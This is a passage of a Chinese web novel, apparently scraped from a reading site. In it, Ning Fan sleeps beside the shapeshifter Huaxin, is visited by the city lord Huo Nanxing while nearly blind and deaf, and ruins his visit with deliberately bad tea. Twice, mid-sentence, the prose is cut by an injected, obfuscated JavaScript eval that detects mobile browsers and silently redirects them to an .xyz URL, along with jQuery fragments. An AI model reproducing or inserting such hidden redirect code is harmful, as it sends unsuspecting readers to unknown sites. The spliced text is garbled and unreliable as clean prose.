不论是穿越前、还是穿越后,他都没有真正意义上的兄弟姐妹。宁家那一窝人虽然多,却和他的关系很差,偶尔见了面,更多也是生疏和嫉妒,嫉妒他的异能和地位。细究起来,宁繁从来没有过兄弟这种生物。 哪怕这个画芯也是假的。 “我的意识完全进入这具身体后,便获得了他的异能。”宁繁一边躺下,一边瞎编着,“你应该感觉到了,这副身体有S级的异能,很强。” “也许是因为我不能适应的缘故,每次使用异能,都会带来一些小毛病。”宁繁闭上眼睛,“不是什么大问题。” “所以哥哥需要我帮忙?” “嗯。”宁繁抚摸着耳边的助听器,“合同已经签了,想要反悔吗?” “怎么会。”画芯说话已然流畅了许多,如果宁繁能看见,就会发现他的表情也灵动了不少,不再像是明显的伪人了,“我很高兴,这是互相需要的关系。” 不被需要,随时都有被抛弃的可能。 那么好吃的异能、那么香……如果不能全部吃下去,多么可惜的一件事。 他偏头,房间里的灯已经关了,他却仍然可以将宁繁看得清清楚楚。 已经睡着了。 画芯知道宁繁睡眠很不安稳,随便乱动,就会醒过来。却也发现建立了信任之后,宁繁就会像只小动物一样,在身边很快睡着。也许,再过一段时间,宁繁睡着后,他去吮吸颈侧、啃咬耳垂,也不会醒来。 他愈发觉得宁繁很眼熟了,就像是在哪里见过一样。 他一定是在哪见过的,见过这样的睡颜。 可画芯知道自己有意识没多久,就被人捉到了赌场里面,他不停地换脸、换身份。他不算强大,有时候实在打不过对方,干脆就装死,直到被丢弃。 他就会偷偷溜出来,掠夺一个重伤者的身份,就这样不停地捕猎下去。 他以为这应该就是他未来的日常了。 而不是现在这样,时不时被投喂,睡在属于人类的床上,被另一个人的温度所触碰。 画芯稍微支起身,想要将宁繁的脸看得更清楚一些,弄清楚熟悉感的源头。 模糊的画面划过脑海。 他突然想,宁繁是不是曾经躺在别的异种身边。那些更为强大的异种,自然可以理所当然地占有最好的资源。 仅仅是想到,画芯就有些莫名的不悦,本来只是轻轻移动被子的手顿了一下。 他不小心用力戳上了宁繁的脸,薄薄的脸皮,很软,被按得凹下去一个坑。吃东西的时候,脸颊也会被顶得鼓起来一团。 宁繁果然醒了,有点迷茫。 “抱歉。”画芯撑着上半身,“我想替你盖被子……” 也许是刚睡醒,宁繁听了他的解释,重新闭上眼。 糊弄过去了。画芯想着。 而后他忽然感觉到身边的人动了动,埋入被窝,挪动过来。睡了一会儿也没能变热的手指,触碰到了他的手臂,凉凉的。呼吸在狭窄黑暗的空间里汇聚,潮湿的热气轻缓地散开。 宁繁:“不用给我盖被子。” 说完,他的呼吸又平静下来,仿佛是睡着了。 就这样过了十几秒,亦或者更长的时间。 “你小心一点。”宁繁又嘟囔了一句,“别被我踹下去了……唔,好暖。” 乖乖的暖宝宝,仿佛能沁透身体的热意,当抱枕最好了。 就是骨头太硌人了。 他大脑里浮现出宁周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138155|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、商清昀的胸肌,又很快变成棉花似的梦,沉沉地睡着了。 …… 再度回到中心城的时候,宁繁的心情好了很多。 问就是已经成为土皇帝了。 不管是宁周也好,商清昀也好,知道他视力严重下滑之后,都开始事无巨细地安排他的起居,贴心到令人发指。 都要忘记掉这两人上周目对他干了什么了! 为了防止这种有仇不报的情况,宁繁最近在借着系统写备忘录,尽可能记录下上周目的事情。 系统看得触目惊心:【这……】 “没统计睡着的时候和昏过去的时候呢。”宁繁一一地写过去,“你看,如果要做个统计的话,霍南行肯定是前三了。” 宁繁试图给备忘录上每个人的名字画正字,画了没多久就放弃了。他视力糟糕得要死,画着画着扭曲成一团,要是把别人的行径记错了位置,那好像更糟糕。 他叹气。 今天家里只有他一个人。 本来宁繁想出门给画芯办身份证明的,结果宁周无论如何都不让他出门,应该在家静静养身体才对。又吩咐人把桌角、凳子所有尖锐的边缘全封上,就像他是什么一碰就碎的玻璃,完全就是保护过头。 反正家里也没人,他也就不戴助听器了,拿着导盲杖练习走路。 万一哪天,他的debuff随机到了目盲,也能提前习惯一下。 他从二楼晃到一楼,正准备重新晃上去,却瞥见窗外似乎来了一辆车。 黑黢黢的一团。 而后一个黑色的色块走过来,似乎是想敲门,在看见落地窗内的宁繁后,又放弃了这一行为,改为抬手晃了晃。 宁繁只能看见一团色块在动,而且他也听不见声,根本没法辨认出他想做什么。 肯定不是商清昀,商清昀已经知道他家的密码了。这个身高、这个车辆……宁繁一边思考,一边去开门。 他拧了两下门把手,打开。 近距离看,也仍然看不太清,只是黑色的色块里出现了白色,还有一丁点淡蓝色。淡蓝色。宁繁心里有数了:“霍明瑞?你怎么又来找我?” 他收起导盲杖,也没再睁眼瞧他,只是细碎地吐槽起来:“我只是说你像贵宾犬,你不能真的像小狗一样天天过来,我可不喜欢小狗……” 肩膀忽然被扣住,熟悉的阴影笼罩上来。 宁繁几乎被扯进了男人怀里,手指贴着衣服的口袋滑进去,熟门熟路地摸到助听器。还没戴上,只是耳垂被碰了碰,他就下意识地偏了头躲避:“霍明瑞,你做什么——” 后颈被宽大的手掌捏住,轻轻向上,穿插进发丝,粗糙的指腹摩挲着头皮,激起一阵战栗。 助听器被强行戴上。 世界重新拥有了声音。 “眼睛怎么了?”男人的手指落到他眼皮上,一触即分。 是霍南行的声音。 15. 二周目 离得太近了。 呼吸和温度在那一瞬间撞过来,过分强烈的入侵感,理所当然地打破了社交距离。他应该极度厌恶,可身体越过了理智,习惯这样的突然靠近,顺从到没有产生惊讶,他完全习惯……这个人。 “助听器也坏了吗?” 手伸过来的一瞬间,宁繁重新转动起来的思维压过了一切,他猛地把人推开,往后跌了几步。 没站稳。 手腕被攥紧,霍南行将他扶住。 宁繁的理智却爆炸了。 他的心跳大概是上升到了一个极其可怕的程度,咚咚咚咚,吵得他想要把把心脏摘出来掷在地上。 【宁繁、宁繁……】系统在耳边叫他,【不要太紧张,什么事情都没有发生。】 是他认错了人。霍南行发现他的异样,也许说了什么话,又发现他听不见,所以强行给他戴上了助听器。戴上以后问的那两句也很正常,听起来是处于对他身体的担忧。 没有后续,没有那些玩笑的话语和炽热的温度。 是他应激了。 “霍先生,你吓到我了。”宁繁捂着心口,他皮肤薄,受惊后脸颊立刻像泼了颜料一样晕出来两片红,胸口剧烈起伏着。 他记着家里的地形,后退摸到柜子,靠上去。 “抱歉,”霍南行沉声道,“我见你拿着导盲杖,又无法听见声音,有些心急了。” 对于视力障碍来说,身边突然出现陌生物体是一种极大的惊吓,先叫一声提醒对方很重要。对于听力障碍来说,不在他的视野范围里的东西忽然靠近,也会吓到他。 然而宁繁现在又聋又瞎,和世界接触的方式,几乎只剩下了触觉。 “您下次别这样,要是我紧张到掏出刀来……”宁繁顿了顿,“我又打不过您,最后还得因为袭击的罪名锒铛入狱。” 霍南行似乎被他逗笑了:“不会如此。” “我眼睛出了一点小意外,过几天就好了。”宁繁本来大可以磨磨蹭蹭地去找沙发的位置,但是霍南行在边上,他就算是摔死,也要撑做无事发生的样子。 他昂首挺胸,神态自若地摸着沙发,很好,只是高度近视,沙发的色块还是很大的。他非常自信地往下坐。 一下子就坐到了沙发扶手上。 宁繁:“……” 重心后移,他滑落下去一点,脚尖便离了地,小腿和大腿弯折,腿又和腰弯折出一个好看的弧度。显得他柔韧性好极了。 他硬是装作无事发生:“霍先生,您请坐,我现在身体不适,招待不周。” 至于之前当着人面说他侄子是小狗,他不提,宁繁就不答,他提,那大不了就睁大眼睛装惊讶。 他的眼睛是真的坏了。 霍南行思忖着。很容易便能猜到宁繁又将异能给了他人,宁繁在这方面总是极为大方的,大方到完全不顾自己的身体。 眼睛瞎成这样,连走路都不稳,身下有什么东西都看不清。 怕不是哪天坐到人身上,坐到底了,才发现。 “不知道霍先生来这儿,是为了什么?” 提起正事,霍南行的声音也严肃了很多:“前几日,你去了金州的时候,第三城出现了一起异种袭击事件,目标,是我。” 宁繁的心重重一跳。 他知道风隐肯定会动手,只不过没想到他那么冒险,居然直接发动了袭击。隐秘的欢喜跳动起来,宁繁抱住自己的膝盖,非常想问一句有没有被杀死、有没有用掉他的异能buff。 他重重呼吸了两下:“您没、没事吧?” 眼神找不准地方,但还是飘了过来,就像是正在担心霍南行一样。 “当然没有。” “噢……”宁繁平静下来。 理所当然的,城主如果那么容易被杀死,人类早就全沦陷了。他有点惋惜风隐的冒险,明明可以详细规划一下的:“异种抓到了吗?” “这便是问题所在了。发动袭击的异种不算强大,却有一个隐形、改变自身存在感的异能。负责追踪的小组搜寻了很久,最终找到了一些他的活动痕迹。” “异种曾在你这片区域活跃过,现在也可能藏匿在附近。” 宁繁抓紧了沙发,发出很长的一声:“哎……” 他心里已然将那只风滚草般的异种戳了无数遍,面上却还是一点担忧的神色:“是知道我在这里、来杀死我么。” 宁繁蜷缩起来一点,将腿完全地搁在了沙发上。眼神失去灵活性后,他看起来就像是容易一只受惊的小动物,指尖一点一点地磨蹭沙发上的绒布,靠触觉捕捉安全感。 “有这种可能性。”霍南行的视线落在宁繁的手腕上,“你这样的异能者,应该得到保护,你住在这里太危险了。” “住到城主府那边去吧,我可以派一队异能者保护你。你本来就可以获得这样的权利。” 宁繁立刻发出了善良过剩的声音:“只保护我一个人吗?这附近其他人怎么办?” 霍南行的说辞滴水不漏:“其他人自然已经遣散了。” 宁繁已经明白了,霍南行是来带走他看管起来的。 而且亲自来,显得很尊重、又让人无法拒绝。 他还真就没有拒绝的理由。 假使他没有上周目的经历,宁繁应该会非常高兴,有人这么关心他。而且又被反复强调S级异能者的特权,他会骄傲到把尾巴都翘起来,哼哼唧唧地答应下去——作为强度党,他是异能鄙视论的忠实拥趸——当然平常并不会表现得很明显。 见到宁繁脸上犹豫的神色,霍南行果然又问:“有什么地方不妥吗?” “嗯……我只是很难过,异种一来,大家的生活都被打乱了。” 宁繁垂下眼:“我会听您的安排。” 反正离得近了,也方便他做小动作。 …… 宁繁不想和霍南行相处太久的时间,见这人一直没有要离开的动作,有点小小的烦躁。 他不知道霍南行今天过来,要是宁周回来时,画芯的脸被看见了,会有一点麻烦。他特意交代过他们,秘密地给画芯办个身份,不要说成是兄弟。 “成为我的兄弟,会给他带来很多麻烦,这是一种保护。”这是宁繁对他们的解释。 买个仆人的说辞也很麻烦,想了想,宁繁决定委屈一下宁周——说成是妻子就可以了。反正也到了年纪,家里安排,结了婚,多么正常的一件事。妻子同他一起住在宁繁身边,也很合理。 虽然宁周脸色很绝望,但宁繁安慰了他,只是假结婚,少爷的安排也是家里的安排嘛…… 手机亮了亮,宁繁不需要看清文字,也知道这是习惯报备的宁周发了消息。他们马上要回来了。 得想个办法把霍南行支开。 宁繁主动站起来,表示自己还是觉得需要招待贵客,身残志坚地去拿茶叶和水。 导盲杖在地上点点点。 霍南行的声音在身后响起:“不喜欢之前的管家吗?” 那是他派来的人,宁繁当然不喜欢。 “我习惯自己生活了。”宁繁摸着橱柜里的茶叶,他对这个房子不太熟,东西倒是备得非常齐全,仅仅是各种茶叶就有好多。他挨个拧开一些,嗅闻,选了一个霍南行不会喜欢的花果茶。 反正也看不清,茶叶的分量和糖的分量他看心情抖了……一些。 “以前在老家,也只有我和宁周两人生活。我身体又容易出毛病,如果事事都依赖其他人,以后要是有什么意外,岂不是直接变成废人一个,连简单的照顾自己都不会。” 他把水杯放在茶几上,小心翼翼将温水倒入。 非常认真地将杯子推了过去,整个人蹲在茶几边,像是在期待客人做出评价。应该没有人会拒绝残疾人如此努力的招待。不出宁繁所料,霍南行端起茶杯,凑到唇边喝了一口。 “……” 男人猛地呛咳起来。 “不、不好喝吗?”宁繁站起身,像是有些慌张似的,端起另一杯茶喝了一口,“呃——” 比他想象的还要难喝,温水没能把花果茶的香味激发出来,只有酸涩,而且他不小心把盐当成了糖进去,放的还稍微有点多。又咸又酸又涩,像是腌制过头有点坏了的酸菜。 “十分抱歉——”他站起来,铃叮当郎地撞倒了茶杯,又因为看不太清,摇摇晃晃地把茶水泼到了对方身上。 宁繁不动了,整个人委屈得不行,像是一只被淋湿的流浪猫,站在角落等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138156|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批评。 花果茶是有颜色的,紫红色的水浸泡了衬衫布料,怕是直接将一件衣服毁掉了。可罪魁祸首看起来那么可怜,霍南行也不好说什么,只是叹气:“借用一下卫生间可以吗?” 过了两秒,他又忍不住说:“还是去挑个管家吧。” …… 宁周回来时,第一时间看见的,就是别墅门口的那辆车。 “霍南行的车?”商清昀只看了一眼便认出来,深深地皱了眉,“为什么他会来这里?” 又往车里看了一眼,反光的黑色玻璃,看不出有没有人。 画芯戴着兜帽,从后面探出头:“嗯?” 三人进了屋,客厅却没有人,只有茶几上一片狼藉,诡异的紫红色液体和半泡开的果粒碎片,称得上一句尸横遍野。 宁周有点后悔:“应该给少爷留个人在家的。”这一看就是宁繁自己试图泡茶,弄出来的。 地板上还有湿漉漉的脚印,看起来是到二楼去了。 宁周急着上楼去。 “等等。”商清昀拦住他,“茶水还有温度,两个杯子,霍南行也在。宁繁平常泡这个茶吗?” 宁周摇头。 商清昀沾了点杯子里的残茶,舌尖一碰,脸上顿时扭曲起来。他大脑飞速思考,总觉得不太对劲,想起宁繁之前同他们说的蹩脚解释:“宁繁可能是故意支开人的,他不想让我们看见他?” 商清昀猛地回头,将画芯推给宁周:“先把他藏起来!” 又想起之前宁周的表现。 “把他的脸遮起来些,然后演得更像夫妻,知道吗?” 宁周本能不喜欢这家伙使唤自己,正要说点什么,却听见商清昀轻飘飘地丢下一句话:“你知道姓霍的对你家少爷图谋不轨吧?” 宁周诡异地沉默了。 他其实能感觉到宁繁变了很多,来中心城之后,太多的地方和以前不同了,若非他还能确定宁繁就是宁繁,他真的会以为自家少爷已经被人掉包了。而且他能感受到宁繁对霍家的厌恶,每次提到,都会有点轻微的抗拒。 他下意识记录着宁繁的一切,自然也了解每一个微表情的含义。 宁周已经隐隐猜测到,那些改变是谁带来的。 只是还没找到证据、不知道时间、不知道为何…… 商清昀见他的反应,也是陡然一惊。他只是因为梦里的种种,想着吓唬一下宁周才说了那句。 难道,不止是梦里吗? 两人各想各的,将一脸茫然的画芯塞到了三楼。末了,商清昀又说:“我最好还是不要出现在这里,等霍南行走了,我再出来。” …… 宁繁在二楼卫生间听见了宁周他们回来的动静。 希望他们理解他的意思,先把画芯带走。 他方才装委屈,眨巴了好几下眼睛挤眼泪,结果不小心把茶水揉到了眼睛里,当即感觉不妙,也跟着进了卫生间,用水冲了冲。眼睛越冲越疼,抬起头的时候只觉得更瞎了,连色块都要看不清。 救命,他就不应该弄那么邪恶的茶,伤敌一千自损八百了。 “霍先生……”宁繁揉了揉脸,“我下次一定泡更好的茶。” 男人迟疑了一会儿才应了声:“嗯。” 宁周的声音焦急地响起:“少爷,我看见楼下打翻的茶水了,您没事吧?” “没事。” 宁繁推开卫生间的门,模模糊糊看见,外面是宁周一个人,便骤然松口气,绽出一个放心的笑容。 宁周却愣住了。 他洗了好一会儿,额前的黑发沾了水,湿漉漉地黏在一边,露出光洁的额头。下眼睑格外红,像是被泪水泡透了一样,委委屈屈地盈着水色,上衣的白色领口也湿了一块儿,沁出肤色。 明明很难过,看见他的瞬间,还是挤出了故作轻松的笑。 卫生间的门后,分明是城主。 总是不苟言笑、着装整齐的霍南行,外套脱了下来,衬衫的扣子解开几颗,结实的肌肉若隐若现。他的袖口挽起,手腕上扣着一只表,视线几乎是追着宁繁在走。 不干不净,脏得要命。 宁周重重呼吸,握住宁繁的手腕: “少爷,我给您擦擦。”